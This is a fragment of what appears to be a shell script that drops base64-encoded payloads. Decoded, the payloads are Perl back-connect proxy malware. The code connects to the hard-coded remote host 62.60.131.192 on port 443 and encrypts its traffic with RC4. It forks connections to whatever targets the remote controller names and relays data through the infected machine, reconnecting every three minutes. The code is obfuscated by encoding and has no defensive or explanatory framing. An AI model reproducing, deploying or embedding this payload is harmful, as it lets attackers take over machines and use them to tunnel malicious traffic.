CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_44() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTInOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 